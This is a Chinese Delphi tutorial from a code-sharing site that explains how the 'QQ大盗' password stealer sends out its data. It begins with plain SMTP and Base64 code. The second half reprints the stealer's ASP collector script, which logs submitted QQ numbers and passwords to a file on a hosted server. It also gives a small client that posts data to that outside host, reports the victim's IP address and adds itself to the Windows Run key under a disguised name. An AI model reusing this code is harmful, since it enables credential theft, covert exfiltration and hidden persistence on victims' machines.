QQ大盗邮件发送演示.txt
上传用户:jiansibo
上传日期:2015-07-04
资源大小:524k
文件大小:18k
源码类别:

破解

开发平台:

Delphi

  1. -----------------------------------
  2.              南域剑盟
  3.       http://www.98exe.com
  4. -----------------------------------
  5.     
  6. 主讲:上兴
  7. 邮件发送演示,演示直接根据RFC协议进行发信  
  8.               演示利用空间中转邮件
  9. 1。直接根据RFC协议进行发信
  10. /////////////////////////////////////////////////////////////////////////
  11.    首先将常用的网络操作单元集合为一个单元    Unit_MyWinSock.pas
  12. ////////////////////////////////////////////////////////////////////////
  13. unit Unit_MyWinSock;
  14. interface
  15. uses
  16. Windows, WinSock;
  17. function GetIpbyHostName(Host: string): string;
  18. function StartNet(host: string; port: integer; var FSocket: integer): Boolean;
  19. procedure StopNet(Fsocket: integer);
  20. function SendData(FSocket: integer; SendStr: string): integer;
  21. function GetData(FSocket: integer): string;
  22. implementation
  23. function StrPas(const Str: PChar): string;
  24. begin
  25. Result := Str;
  26. end;
  27. function StrCopy(Dest: PChar; const Source: PChar): PChar;
  28. asm
  29. PUSH EDI
  30. PUSH ESI
  31. MOV ESI,EAX
  32. MOV EDI,EDX
  33. MOV ECX,0FFFFFFFFH
  34. XOR AL,AL
  35. REPNE SCASB
  36. NOT ECX
  37. MOV EDI,ESI
  38. MOV ESI,EDX
  39. MOV EDX,ECX
  40. MOV EAX,EDI
  41. SHR ECX,2
  42. REP MOVSD
  43. MOV ECX,EDX
  44. AND ECX,3
  45. REP MOVSB
  46. POP ESI
  47. POP EDI
  48. end;
  49. function StrLen(const Str: PChar): Cardinal; assembler;
  50. asm
  51. MOV EDX,EDI
  52. MOV EDI,EAX
  53. MOV ECX,0FFFFFFFFH
  54. XOR AL,AL
  55. REPNE SCASB
  56. MOV EAX,0FFFFFFFEH
  57. SUB EAX,ECX
  58. MOV EDI,EDX
  59. end;
  60. {============================================================}
  61. function GetIpbyHostName(Host: string): string;
  62. {
  63. 功能描述:获取主机的IP地址
  64. }
  65. type
  66. TaPInAddr = array[0..10] of PInAddr;
  67. PaPInAddr = ^TaPInAddr;
  68. var
  69. phe: PHostEnt;
  70. pptr: PaPInAddr;
  71. i: Integer;
  72. begin
  73. Result := '';
  74. phe := GetHostByName(pchar(Host));
  75. if phe = nil then Exit;
  76. pptr := PaPInAddr(Phe^.h_addr_list);
  77. I := 0;
  78. while pptr^[I] <> nil do
  79. begin
  80. if i = 0 then result := StrPas(inet_ntoa(pptr^[I]^));
  81. Inc(I);
  82. end;
  83. end;
  84. {============================================================}
  85. function StartNet(host: string; port: integer; var FSocket: integer): Boolean;
  86. {
  87. 功能描述:连接某IP地址
  88. }
  89. var
  90. SockAddrIn: TSockAddrIn;
  91. t: linger;
  92. timeout: timeval;
  93. r: TFDSet;
  94. iTimeOut: integer;
  95. ul, ul1: LongInt;
  96. ret: integer;
  97. begin
  98. Result := False;
  99. FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
  100. if FSocket = invalid_socket then exit;
  101. t.l_onoff := 1;
  102. t.l_linger := 0;
  103. setsockopt(FSocket, SOL_SOCKET, SO_LINGER, @t, sizeof(t)); {关闭Socket后立刻释放资源}
  104. //set Recv and Send time out
  105. iTimeOut := 6000; //设置发送超时6秒
  106. if (setsockopt(FSocket, SOL_SOCKET, SO_SNDTIMEO, @iTimeOut, sizeof(TimeOut)) = SOCKET_ERROR) then Exit;
  107. iTimeOut := 6000; //设置接收超时6秒
  108. if (setsockopt(FSocket, SOL_SOCKET, SO_RCVTIMEO, @iTimeOut, sizeof(TimeOut)) = SOCKET_ERROR) then Exit;
  109. //设置非阻塞方式连接
  110. ul := 1;
  111. ret := ioctlsocket(FSocket, FIONBIO, ul);
  112. if (ret = SOCKET_ERROR) then Exit;
  113. //连接
  114. SockAddrIn.sin_addr.s_addr := inet_addr(PChar(host));
  115. SockAddrIn.sin_family := PF_INET;
  116. SockAddrIn.sin_port := htons(port);
  117. ret := connect(FSocket, SockAddrIn, SizeOf(SockAddrIn));
  118. //select 模型,即设置超时
  119. FD_ZERO(r);
  120. FD_SET(FSocket, r);
  121. timeout.tv_sec := 5; //连接超时5秒
  122. timeout.tv_usec := 0;
  123. ret := select(0, nil, @r, nil, @timeout);
  124. if (ret <= 0) then
  125. begin
  126. closesocket(FSocket);
  127. Exit;
  128. end;
  129. //一般非锁定模式套接比较难控制,可以根据实际情况考虑 再设回阻塞模式
  130. ul1 := 0;
  131. ret := ioctlsocket(FSocket, FIONBIO, ul1);
  132. if (ret = SOCKET_ERROR) then
  133. begin
  134. closesocket(FSocket);
  135. Exit;
  136. end;
  137. Result := True;
  138. end;
  139. {============================================================}
  140. procedure StopNet(Fsocket: integer);
  141. {
  142. 功能描述:关闭一个Socket
  143. }
  144. begin
  145. closesocket(FSocket);
  146. end;
  147. {============================================================}
  148. function SendData(FSocket: integer; SendStr: string): integer;
  149. {
  150. 功能描述:通过指定Socket发送字符数据
  151. }
  152. var
  153. DataBuf: array[0..4096] of char;
  154. err: integer;
  155. begin
  156. strcopy(DataBuf, pchar(SendStr));
  157. err := send(FSocket, DataBuf, strlen(DataBuf), MSG_DONTROUTE);
  158. Result := err;
  159. end;
  160. {============================================================}
  161. function GetData(FSocket: integer): string;
  162. {
  163. 功能描述:获取指定Socket的字符数据
  164. }
  165. const
  166. MaxSize = 1024;
  167. var
  168. DataBuf: array[0..MaxSize] of char;
  169. err: integer;
  170. begin
  171. err := recv(FSocket, DataBuf, MaxSize, 0);
  172. Result := Strpas(DataBuf);
  173. end;
  174. {
  175. const
  176. MaxSize = 1024;
  177. var
  178. DataBuf: array[0..MaxSize - 1] of char;
  179. S: string;
  180. iRet: integer;
  181. begin
  182. S := '';
  183. repeat
  184. FillChar(DataBuf, MaxSize, #0);
  185. iRet := recv(FSocket, DataBuf, MaxSize, 0);
  186. S := S + Strpas(DataBuf);
  187. until iRet <= 0;
  188. Result := S;
  189. end;
  190. }
  191. {============================================================}
  192. var
  193. Re: integer;
  194. Wsa: TWSAData;
  195. initialization
  196. Re := WSAStartup($101, Wsa); //初始化Wsock32.dll,如果是2.2版本,则使用MakeWord(2,2),
  197. if Re <> 0 then Halt;
  198. finalization
  199. WSACleanUp;
  200. end.
  201. ////////////////////////////////////////////////////////////////////////////////////
  202.    和Base64编码Delphi版本          BASE64.pas
  203. /////////////////////////////////////////////////////////////////////////////////////
  204. unit BASE64;
  205. interface
  206. uses Classes;
  207. //BaseTable为BASE64码表
  208. const BaseTable:string='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
  209. function EncodeStringBase64(Source:string):string;
  210. function DecodeStringBASE64(Source:string):string;
  211. function EncodeStreamBASE64(Encoded: TMemoryStream ; Decoded: TMemoryStream): Integer;
  212. implementation
  213. {对参数TMemoryStrema中的字节流进行Base64编码,编码后的结果保存在Encoded中,函数返回编码长度}
  214. function EncodeStreamBASE64(Encoded: TMemoryStream ; Decoded: TMemoryStream): Integer;
  215. const
  216. _Code64: String[64] =('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/');
  217. var
  218. I: LongInt;
  219. B: array[0..2279] of Byte;
  220. J, K, L, M, Quads: Integer;
  221. Stream: string[76];
  222. EncLine: String;
  223. begin
  224. Encoded.Clear;
  225. Stream := '';
  226. Quads := 0;
  227. {为提高效率,每2280字节流为一组进行编码}
  228. J := Decoded.Size div 2280;
  229. Decoded.Position := 0;
  230. {对前J*2280个字节流进行编码}
  231. for I := 1 to J do
  232. begin
  233. Decoded.Read(B, 2280);
  234. for M := 0 to 39 do
  235. begin
  236. for K := 0 to 18 do
  237. begin
  238. L:= 57*M + 3*K;
  239. Stream[Quads+1] := _Code64[(B[L] div 4)+1];
  240. Stream[Quads+2] := _Code64[(B[L] mod 4)*16 + (B[L+1] div 16)+1];
  241. Stream[Quads+3] := _Code64[(B[L+1] mod 16)*4 + (B[L+2] div 64)+1];
  242. Stream[Quads+4] := _Code64[B[L+2] mod 64+1];
  243. Inc(Quads, 4);
  244. if Quads = 76 then
  245. begin
  246. Stream[0] := #76;
  247. EncLine := Stream+#13#10;
  248. Encoded.Write(EncLine[1], Length(EncLine));
  249. Quads := 0;
  250. end;
  251. end;
  252. end;
  253. end;
  254. {对以2280为模的余数字节流进行编码}
  255. J := (Decoded.Size mod 2280) div 3;
  256. for I := 1 to J do
  257. begin
  258. Decoded.Read(B, 3);
  259. Stream[Quads+1] := _Code64[(B[0] div 4)+1];
  260. Stream[Quads+2] := _Code64[(B[0] mod 4)*16 + (B[1] div 16)+1];
  261. Stream[Quads+3] := _Code64[(B[1] mod 16)*4 + (B[2] div 64)+1];
  262. Stream[Quads+4] := _Code64[B[2] mod 64+1];
  263. Inc(Quads, 4);
  264. {每行76个字符}
  265. if Quads = 76 then
  266. begin
  267. Stream[0] := #76;
  268. EncLine := Stream+#13#10;
  269. Encoded.Write(EncLine[1], Length(EncLine));
  270. Quads := 0;
  271. end;
  272. end;
  273. {“=”补位}
  274. if (Decoded.Size mod 3) = 2 then
  275. begin
  276. Decoded.Read(B, 2);
  277. Stream[Quads+1] := _Code64[(B[0] div 4)+1];
  278. Stream[Quads+2] := _Code64[(B[0] mod 4)*16 + (B[1] div 16)+1];
  279. Stream[Quads+3] := _Code64[(B[1] mod 16)*4 + 1];
  280. Stream[Quads+4] := '=';
  281. Inc(Quads, 4);
  282. end;
  283. if (Decoded.Size mod 3) = 1 then
  284. begin
  285. Decoded.Read(B, 1);
  286. Stream[Quads+1] := _Code64[(B[0] div 4)+1];
  287. Stream[Quads+2] := _Code64[(B[0] mod 4)*16 + 1];
  288. Stream[Quads+3] := '=';
  289. Stream[Quads+4] := '=';
  290. Inc(Quads, 4);
  291. end;
  292. Stream[0] := Chr(Quads);
  293. if Quads > 0 then
  294. begin
  295. EncLine := Stream+#13#10;
  296. Encoded.Write(EncLine[1], Length(EncLine));
  297. end;
  298. Result := Encoded.Size;
  299. end;
  300. function FindInTable(CSource:char):integer;
  301. begin
  302. result:=Pos(string(CSource),BaseTable)-1;
  303. end;
  304. ////
  305. {对参数Source字符串进行Base64编码,返回编码后的字符串}
  306. function DecodeStringBASE64(Source:string):string;
  307. var
  308. SrcLen,Times,i:integer;
  309. x1,x2,x3,x4,xt:byte;
  310. begin
  311. result:='';
  312. SrcLen:=Length(Source);
  313. Times:=SrcLen div 4;
  314. for i:=0 to Times-1 do
  315. begin
  316. x1:=FindInTable(Source[1+i*4]);
  317. x2:=FindInTable(Source[2+i*4]);
  318. x3:=FindInTable(Source[3+i*4]);
  319. x4:=FindInTable(Source[4+i*4]);
  320. x1:=x1 shl 2;
  321. xt:=x2 shr 4;
  322. x1:=x1 or xt;
  323. x2:=x2 shl 4;
  324. result:=result+chr(x1);
  325. if x3= 64 then break;
  326. xt:=x3 shr 2;
  327. x2:=x2 or xt;
  328. x3:=x3 shl 6;
  329. result:=result+chr(x2);
  330. if x4=64 then break;
  331. x3:=x3 or x4;
  332. result:=result+chr(x3);
  333. end;
  334. end;
  335. /////
  336. function EncodeStringBase64(Source:string):string;
  337. var
  338. Times,LenSrc,i:integer;
  339. x1,x2,x3,x4:char;
  340. xt:byte;
  341. begin
  342. result:='';
  343. LenSrc:=length(Source);
  344. if LenSrc mod 3 =0 then
  345. Times:=LenSrc div 3
  346. else
  347. Times:=LenSrc div 3 + 1;
  348. for i:=0 to times-1 do
  349. begin
  350. if LenSrc >= (3+i*3) then
  351. begin
  352. x1:=BaseTable[(ord(Source[1+i*3]) shr 2)+1];
  353. xt:=(ord(Source[1+i*3]) shl 4) and 48;
  354. xt:=xt or (ord(Source[2+i*3]) shr 4);
  355. x2:=BaseTable[xt+1];
  356. xt:=(Ord(Source[2+i*3]) shl 2) and 60;
  357. xt:=xt or (ord(Source[3+i*3]) shr 6);
  358. x3:=BaseTable[xt+1];
  359. xt:=(ord(Source[3+i*3]) and 63);
  360. x4:=BaseTable[xt+1];
  361. end
  362. else if LenSrc>=(2+i*3) then
  363. begin
  364. x1:=BaseTable[(ord(Source[1+i*3]) shr 2)+1];
  365. xt:=(ord(Source[1+i*3]) shl 4) and 48;
  366. xt:=xt or (ord(Source[2+i*3]) shr 4);
  367. x2:=BaseTable[xt+1];
  368. xt:=(ord(Source[2+i*3]) shl 2) and 60;
  369. x3:=BaseTable[xt+1];
  370. x4:='=';
  371. end else
  372. begin
  373. x1:=BaseTable[(ord(Source[1+i*3]) shr 2)+1];
  374. xt:=(ord(Source[1+i*3]) shl 4) and 48;
  375. x2:=BaseTable[xt+1];
  376. x3:='=';
  377. x4:='=';
  378. end;
  379. result:=result+x1+x2+x3+x4;
  380. end;
  381. end;
  382. end.
  383. //////////////////////////////////////////////////////////////////////////////
  384.    新建工程-加入七个Edit,分别为端口,收信地址,smtp,用户,密码,标题,内容
  385.   
  386.    和一个Memo1显示返回结果,要不要没关系。
  387.    加入一个Button,双击加入代码:
  388.   
  389. procedure TForm1.Button1Click(Sender: TObject);
  390. const
  391. CRLF = #13#10;
  392. var
  393. i, iport, icode: integer;
  394. strIP, SendBody: string;
  395. FSocket: integer;
  396. begin
  397. for i := 0 to Pred(ComponentCount) do
  398. if Components[i] is TEdit then
  399. if Trim((Components[i] as TEdit).Text) = '' then
  400. begin
  401. Application.MessageBox('参数不全,请重新输入!', Pchar(Application.Title), MB_ICONINFORMATION);
  402. Exit;
  403. end;
  404. val(Edit_port.Text, iport, icode);
  405. if icode <> 0 then
  406. begin
  407. Application.MessageBox('端口必须为数字,请重新输入!', Pchar(Application.Title), MB_ICONINFORMATION);
  408. Exit;
  409. end;
  410. strIP := GetIpbyHostName(Edit_smtp.Text); //获取服务器地址
  411. if Trim(strIP) = '' then Exit;
  412. if not StartNet(strIP, iport, FSocket) then Exit;
  413. SendData(FSocket, 'HELO' + CRLF); //有些服务器是EHLO
  414. Memo1.Lines.Add(getdata(FSocket));
  415. SendData(FSocket, 'AUTH LOGIN' + CRLF);
  416. Memo1.Lines.Add(getdata(FSocket));
  417. SendData(FSocket, EncodeStringBase64(Edit_username.Text) + CRLF);
  418. Memo1.Lines.Add(getdata(FSocket));
  419. SendData(FSocket, EncodeStringBase64(Edit_userpsw.Text) + CRLF);
  420. Memo1.Lines.Add(getdata(FSocket));
  421. SendData(FSocket, 'MAIL FROM: ' + Edit_emailaddress.Text + CRLF);
  422. Memo1.Lines.Add(getdata(FSocket));
  423. SendData(FSocket, 'RCPT TO: <' + Edit_emailaddress.Text + '>' + CRLF);
  424. Memo1.Lines.Add(getdata(FSocket));
  425. SendData(FSocket, 'DATA' + CRLF);
  426. Memo1.Lines.Add(getdata(FSocket));
  427. SendBody := 'From:<' + Edit_emailaddress.Text + '>' + CRLF
  428. + 'To: <' + Edit_emailaddress.Text + '>' + CRLF //收信地址,由您设定
  429. + 'Subject: ' + Edit_subject.Text + CRLF
  430. + CRLF
  431. + Edit_mailbody.Text + CRLF
  432. + '.' + CRLF;
  433. SendData(FSocket, SendBody);
  434. Memo1.Lines.Add(getdata(FSocket));
  435. SendData(FSocket, 'QUIT' + CRLF);
  436. Memo1.Lines.Add(getdata(FSocket));
  437. StopNet(Fsocket);
  438. end;
  439. //////////////////////////////////////////////////////////////////////////
  440. //////////////////////////////////////////////////////////////////////////
  441. //////////////////////////////////////////////////////////////////////////
  442. 利用空间中转邮件(与QQ大盗的一样)
  443. 这个好处是实现了穿越防火墙,
  444. 先看这个单元:首先要有这个HtmlEncode函数,无论Get还是Post都需要用到它.它的作用是将汉字和特殊字符(例如字符&)编码.
  445. 然后是Post方式:
  446. ///////////////////////////////////////////////////////////////////////////////////
  447. unit SendMail;
  448. interface
  449. function HtmlEncode(s: string): string;
  450. function PostURL(const aUrl: string; FTPostQuery: string; const strPostOkResult: string = 'Send OK!'): Boolean;
  451. implementation
  452. uses
  453.   Windows, WinInet;
  454. function HtmlEncode(s: string): string;
  455. var
  456.   i, v1, v2: integer;
  457.   function i2s(b: byte): char;
  458.   begin
  459.     if b <= 9 then result := chr($30 + b)
  460.     else result := chr($41 - 10 + b);
  461.   end;
  462. begin
  463.   result := '';
  464.   for i := 1 to length(s) do
  465.     if s[i] = ' ' then result := result + '+'
  466.     else if (s[i] < ' ') or (s[i] in ['/', '', ':', '&', '?', '|']) then
  467.     begin
  468.       v1 := ord(s[i]) mod 16;
  469.       v2 := ord(s[i]) div 16;
  470.       result := result + '%' + i2s(v2) + i2s(v1);
  471.     end
  472.     else result := result + s[i]; 
  473. end;
  474. function UpperCase(AStr: string): string; overload;
  475. var
  476.   LI: Integer;
  477. begin
  478.   Result := AStr;
  479.   for LI := 1 to Length(Result) do
  480.     Result[LI] := System.UpCase(Result[LI]);
  481. end;
  482. //Post方式发信
  483. function PostURL(const aUrl: string; FTPostQuery: string; const strPostOkResult: string = 'Send OK!'): Boolean;
  484. var
  485.   hSession: HINTERNET;
  486.   hConnect, hRequest: hInternet;
  487.   lpBuffer: array[0..1024 + 1] of Char;
  488.   dwBytesRead: DWORD;
  489.   HttpStr: string;
  490.   HostName, FileName: string;
  491.   FTResult: Boolean;
  492.   AcceptType: LPStr;
  493.   Buf: Pointer;
  494.   dwBufLen, dwIndex: DWord;
  495.   procedure ParseURL(URL: string; var HostName, FileName: string);
  496.     procedure ReplaceChar(c1, c2: Char; var St: string);
  497.     var
  498.       p: Integer;
  499.     begin
  500.       while True do
  501.       begin
  502.         p := Pos(c1, St);
  503.         if p = 0 then Break
  504.         else St[p] := c2;
  505.       end;
  506.     end;
  507.   var
  508.     i: Integer;
  509.   begin
  510.     if Pos(UpperCase('http://'), UpperCase(URL)) <> 0 then
  511.       System.Delete(URL, 1, 7);
  512.     i := Pos('/', URL);
  513.     HostName := Copy(URL, 1, i);
  514.     FileName := Copy(URL, i, Length(URL) - i + 1);
  515.     if (Length(HostName) > 0) and (HostName[Length(HostName)] = '/') then
  516.       SetLength(HostName, Length(HostName) - 1);
  517.   end;
  518. begin
  519.   Result := False;
  520.   hSession := InternetOpen('MyApp', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  521.   try
  522.     if Assigned(hSession) then
  523.     begin
  524.       ParseURL(aUrl, HostName, FileName);
  525.       hConnect := InternetConnect(hSession, PChar(HostName),
  526.         INTERNET_DEFAULT_HTTP_PORT, nil, nil, INTERNET_SERVICE_HTTP, 0, 0);
  527.       AcceptType := PChar('Accept: */*');
  528.       hRequest := HttpOpenRequest(hConnect, 'POST', PChar(FileName), 'HTTP/1.0',
  529.         nil, @AcceptType, INTERNET_FLAG_RELOAD, 0);
  530.                                                //
  531.       HttpSendRequest(hRequest, 'Content-Type: application/x-www-form-urlencoded', 47,
  532.         PChar(FTPostQuery), Length(FTPostQuery));
  533.       dwIndex := 0;
  534.       dwBufLen := 1024;
  535.       GetMem(Buf, dwBufLen);
  536.       FTResult := HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
  537.         Buf, dwBufLen, dwIndex);
  538.       if FTResult = True then
  539.       try
  540.         while True do
  541.         begin
  542.           dwBytesRead := 1024;
  543.           InternetReadFile(hRequest, @lpBuffer, 1024, dwBytesRead);
  544.           if dwBytesRead = 0 then break;
  545.           lpBuffer[dwBytesRead] := #0;
  546.           HttpStr := HttpStr + lpBuffer;
  547.         end;
  548.         Result := pos(strPostOkResult {'发送成功'}, HttpStr) > 0;
  549.           //Form1.Memo1.Lines.Add(Httpstr);
  550.       finally
  551.         InternetCloseHandle(hRequest);
  552.         InternetCloseHandle(hConnect);
  553.       end;
  554.     end;
  555.   finally
  556.     InternetCloseHandle(hSession);
  557.   end;
  558. end;
  559. end.
  560. ////////////////////////////////////////////////////////////////////
  561. 复制QQ大盗中的tmdqq.asp出来
  562. 他的内容是:
  563. <%
  564. num=request("num")
  565. pass=request("pass")
  566. set fs=server.CreateObject("Scripting.FileSystemObject")
  567. set file=fs.OpenTextFile(server.MapPath("qq.txt"),8,True)
  568. file.writeline num+"---"+"-"+pass
  569. file.close
  570. set file=nothing
  571. set fs=nothing
  572. response.write "Send OK!"
  573. %>
  574. 上传到你的虚拟空间上,如http://www.***.com/asp/tmdqq.asp.
  575. 我们写发信程序,想小体积,那用控制台的方式写
  576. program Main;
  577. uses
  578.   Windows,WinSock,
  579.   SendMail in 'SendMail.pas';
  580. {.$R *.res}
  581. //引用PostURL就行
  582. begin
  583. PostURL('http://www.***.com/asp/tmdqq.asp','num='+HtmlEncode('标题')+
  584.         '&pass='+HtmlEncode('内容'));
  585.         SetAutoRun;
  586. end.
  587. 14K,算小了。不能就这样一点功能也没吧?干脆写发送IP好了,当然你可加别的功能
  588. 在上面加入:
  589. function StrPas(const Str: PChar): string;
  590. begin
  591. Result := Str;
  592. end;
  593. {取得计算机IP }
  594. function LocalIP : string;
  595. type
  596.     TaPInAddr = array [0..10] of PInAddr;
  597.     PaPInAddr = ^TaPInAddr;
  598. var
  599.     phe  : PHostEnt;
  600.     pptr : PaPInAddr;
  601.     Buffer : array [0..63] of char;
  602.     I    : Integer;
  603.     GInitData      : TWSADATA;
  604. begin
  605.     WSAStartup($101, GInitData);
  606.     Result := '';
  607.     GetHostName(Buffer, SizeOf(Buffer));
  608.     //取得计算机名
  609.     phe :=GetHostByName(buffer);
  610.     //取得计算机IP
  611.     if phe = nil then Exit;
  612.     pptr := PaPInAddr(Phe^.h_addr_list);
  613.     I := 0;
  614.     while pptr^[I] <> nil do begin
  615.       result:=StrPas(inet_ntoa(pptr^[I]^));
  616.       //返回结果
  617.       Inc(I);
  618.     end;
  619.     WSACleanup;
  620. end;
  621. 这样能发IP了,再搞个api写注册表吧,
  622. ////////////////////////////////////////////////
  623. procedure SetAutoRun;
  624. var
  625.   k1: hkey;
  626.   l: longint;
  627.   p: pchar;
  628. begin
  629.   try
  630.   {$IFNDEF DebugMode}
  631.     l := regopenkey(HKEY_LOCAL_MACHINE, 'SOFTWARE', k1);
  632.     l := regopenkey(k1, 'Microsoft', k1);
  633.     l := regopenkey(k1, 'Windows', k1);
  634.     l := regopenkey(k1, 'CurrentVersion', k1);
  635.     l := regopenkey(k1, 'Run', k1);
  636.     p := pchar(ParamStr(0));
  637.     l := regsetvalueEx(k1, 'SysDesktop', 0, 1, p, 255);
  638.   {$ENDIF}
  639.   except
  640.   end;
  641. end;
  642. //////////////////////////////////////////
  643. 晕,越搞越。。。。。到此结束,,再见
  644. 符完整源演示程序,学习万岁!!!!